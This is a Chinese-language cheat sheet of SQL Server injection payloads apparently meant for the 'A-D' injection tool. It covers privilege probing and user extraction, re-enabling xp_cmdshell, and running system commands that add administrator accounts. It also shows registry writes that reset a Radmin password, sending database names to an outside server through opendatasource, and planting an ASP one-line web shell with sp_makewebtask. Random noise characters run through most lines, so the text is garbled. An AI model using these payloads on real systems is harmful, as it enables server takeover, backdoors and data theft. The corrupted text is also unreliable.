阿D常用的一些注入命令
0 ]6 i/ R! q3 z//看看是什么权限的2 z: R! m2 r. v* |( e# }
and 1=(Select IS_MEMBER('db_owner'))$ Z8 y/ w* p# s7 E8 w' C# `3 z9 _
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--, `7 \- T2 Z# v' b/ c, a& L: a0 j+ i
3 m# k. a, X) q% |( y8 t! J
//检测是否有读取某数据库的权限
3 J0 O7 Q- }! w5 R6 ], Q3 Pand 1= (Select HAS_DBACCESS('master'))
0 J9 y' L* G+ z0 G( f* GAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
# X7 d/ \1 l Q1 H. x
7 O3 R" R1 `% P/ m9 @1 i! P
# C9 L9 T6 C3 N' p+ `; ?3 g4 e- J数字类型$ `* R M& G7 s. M
and char(124)%2Buser%2Bchar(124)=0: z3 x7 H" g+ k7 d
; h+ k9 z0 [4 p9 B. P+ v/ J" ]
字符类型
) K& m. o1 w' ?0 X1 u' and char(124)%2Buser%2Bchar(124)=0 and ''='
9 o @* ]% j" R3 z9 t7 K; R8 W! c7 X( l$ N
搜索类型( y3 d, X' u& `
' and char(124)%2Buser%2Bchar(124)=0 and '%'='. {* C/ c: M6 [0 C, k
0 l1 i8 {# R6 i9 ^6 |1 E4 \爆用户名
! G4 V# ]* _' X6 ?8 @/ M5 }and user>05 ]: V6 f3 ]) N1 n3 L6 r) U0 d& D
' and user>0 and ''='
+ B! P0 Y2 i, A3 ~$ }5 U& i
; e# Z3 r0 B+ N {( }- f1 |检测是否为SA权限5 B/ M8 b2 N$ S2 x! v* A
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--- V% I! p7 L- \4 f$ v
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
$ Q& ?, g2 X- }3 e# U% \
5 c6 T: j6 v4 Q8 ?( }' L检测是不是MSSQL数据库
6 ~" t8 Z; D6 P7 W) W: d) ^, v. Kand exists (select * from sysobjects);--
0 O' J* P6 _# ?6 w. `# C. R0 r
" B9 f! ^. j7 j# M检测是否支持多行1 U( Z B5 W9 U/ s
;declare @d int;-- 2 B7 Q6 m: _6 S9 @- X: }7 q
7 t! c% j6 ~# H7 E2 a恢复 xp_cmdshell; v5 T( m. D- n' g' l
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
, O) j: y4 X8 F2 w2 u' a
+ L0 i f" Q; T7 o0 x/ V* h' ~7 m# }1 Z% q, s+ Q
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
8 B* y, i+ j, S) T( ^
$ j+ g7 e* h) I//-----------------------
5 Q/ d* D0 Z& ?9 C, F8 h7 @// 执行命令
$ K/ M, h \$ u7 i2 A//-----------------------
' J, }) E( g% d# O/ ]* O+ T首先开启沙盘模式:
) l) D: [4 E+ Q4 Sexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
5 K8 V. i$ G" U- P) B3 b; R; ~8 U: M# i0 `
然后利用jet.oledb执行系统命令# v+ {/ f; l% X
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
8 X4 `6 B% t& O
" m7 x7 T) ]" V- o7 Q- c; g执行命令
- K/ z, G. V* N/ H;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--- G( @( J8 h" x6 U" M) R" q
! \& v6 c; Q) l7 `+ @8 v$ TEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'% J* c/ d" X! V$ d5 b
?7 {8 h5 Q7 ]+ i判断xp_cmdshell扩展存储过程是否存在:% T/ I' r( J9 Q- T
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')) D3 t3 ?2 i: p/ F u) S8 x
" n# N8 n% i0 {9 |( I8 b( ?3 D5 Q
写注册表
& \) X' ~9 J+ ]: G, mexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, ]* i# e# N; ^( i1 v# @; q
( o/ I& K; ?' `/ s, _* E. EREG_SZ
! T# j; S0 Q% e/ W! r+ C! w7 P" R; x+ \+ \4 F% ^3 j. F5 L' b
读注册表
9 w- x& g) e; F Oexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
0 ?) v+ G7 L0 f8 y
- V& @& u5 B; X9 f& ~* Z0 H" y! v读取目录内容
( c2 Q: K6 z6 K" ]exec master..xp_dirtree 'c:\winnt\system32\',1,1
% {2 N9 U: h6 g3 m; O' u- |, N7 ^' g7 w9 F0 ^
5 W" A% t8 x4 O4 }# O" r5 V
数据库备份
' H4 h* ?& j; }+ }# W5 rbackup database pubs to disk = 'c:\123.bak'- b/ ~- ^# o6 ]5 `. W
4 K4 p' D, Y' N! H! `0 L
//爆出长度
2 E( V" V) D7 q! W$ N" \ r8 @And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--# l' m6 j' E p! X/ u
" ^/ x1 o) V) q$ |/ Q1 n
/ N* `; T6 f) r! P
: y9 u0 Q A Q
更改sa口令方法:用sql综合利用工具连接后,执行命令:# K5 z' C |+ p9 T- ^
exec sp_password NULL,'新密码','sa'- P+ O" _5 v: h6 E
- r6 k( E* w! w) D3 i# P* H: f+ x添加和删除一个SA权限的用户test:+ L! @# ~ @" i s( j% w
exec master.dbo.sp_addlogin test,ptlove7 m: M5 M/ b9 K( s! {( q+ t" D
exec master.dbo.sp_addsrvrolemember test,sysadmin; j. s% k$ y$ ^& K, o O
! P; F' p/ I( p+ }7 [
删除扩展存储过过程xp_cmdshell的语句: ' d- o% _" U# B6 A" G% N8 w3 z
exec sp_dropextendedproc 'xp_cmdshell'( Z z& M; g2 S7 W; i) U% Q1 `. z
$ W' H8 e Q6 [$ x* r
添加扩展存储过过程
( \' r1 j* o; B q/ o) l) MEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
3 q' U6 R& [- u+ C' b) p% iGRANT exec On xp_proxiedadata TO public - i. p e, B |4 v
. f5 K; A" q$ k$ E* b, e& P4 X6 e& h) @
停掉或激活某个服务。
% |# @; _2 O* w* `8 w
0 v' P' p, C# q) aexec master..xp_servicecontrol 'stop','schedule'
a" Q( l' n# i* L' fexec master..xp_servicecontrol 'start','schedule'
2 A1 k6 s0 P, e- x: K5 ^) w/ @* T; u
dbo.xp_subdirs* O( s) `5 D; z+ b" c* j- u
0 t8 V' R" @- R3 x# A' @# P
只列某个目录下的子目录。, R w0 g) _# v6 i7 {3 W: V
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'1 a# R# W" p4 \- K
: c" ?# \% P0 e; b9 m0 W" U
dbo.xp_makecab4 O1 Y6 M& s* s
+ Q+ j% |4 @1 Z' [3 E
将目标多个档案压缩到某个目标档案之内。0 Q9 G3 g, _4 e% h; j/ x7 _. b
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。- X$ l& e! X# E% @- e+ C
7 S0 N" x' P- w* |
dbo.xp_makecab( g( F: N8 S$ T5 y
'c:\test.cab','mszip',1,$ B8 t g V! L4 e
'C:\Inetpub\wwwroot\SQLInject\login.asp',
5 N( g! f. E' `; z$ a4 t, a+ Z'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
) j* z0 p) J3 J( W& j. Y3 ^. E% u+ [$ X8 U
xp_terminate_process
7 b c1 ~( [: O
2 w4 P$ ^1 m; w4 ?$ Q# h4 C停掉某个执行中的程序,但赋予的参数是 Process ID。/ z7 H$ ]9 ^7 h0 ]( q5 G
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
- a; a$ [* T) k* B5 d c9 J0 M
% `5 J& y, r* _) {, E6 exp_terminate_process 2484
! Z" ]# R5 A2 m0 l6 e; `- o3 p% R, S; U
xp_unpackcab& T" S2 Q7 }: j6 A8 ~
4 h) T+ s7 M& b( b0 t3 [解开压缩档。
% L% S; r) _, n
, w$ M+ k) B- U% r! vxp_unpackcab 'c:\test.cab','c:\temp',1$ G' V W- x0 N+ ?6 _$ @
( e2 [( e& C. }2 h4 h( ~
4 D. ~' | }2 q: L某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12343 V8 Y8 V0 B% \# b u/ K4 o
$ R" ]6 M5 v8 p; K- S acreate database lcx;# e: t- v/ O8 ^% i
Create TABLE ku(name nvarchar(256) null);
8 f$ r, k: a5 A: fCreate TABLE biao(id int NULL,name nvarchar(256) null);
9 W+ o, J' h7 O! s- L
1 ^! V& C1 @+ k: j& y* p//得到数据库名4 j5 l v8 I0 J
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases; ^# e$ C! ?. W! M9 ~2 S; I
7 @3 @1 u6 K! ~ b
* N/ X( @& y3 M
//在Master中创建表,看看权限怎样( T7 S9 S. W+ x
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
! ]& `/ E5 I; M5 p/ V0 R$ B( C/ A' H7 {# W9 y0 R3 |
用 sp_makewebtask直接在web目录里写入一句话马: `6 W, {# L, j q R7 f
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
1 ]3 r( K, ~% J& E% l' t& c1 D( Y) A- G- j3 n( D: t& b; O t5 \
//更新表内容/ u+ Q" |8 o- D) a# H
Update films SET kind = 'Dramatic' Where id = 123$ {$ q" l/ {; d
~3 d( @, s1 o; O$ F6 W//删除内容
7 n8 m& T/ b. S% ?: Ydelete from table_name where Stockid = 3 |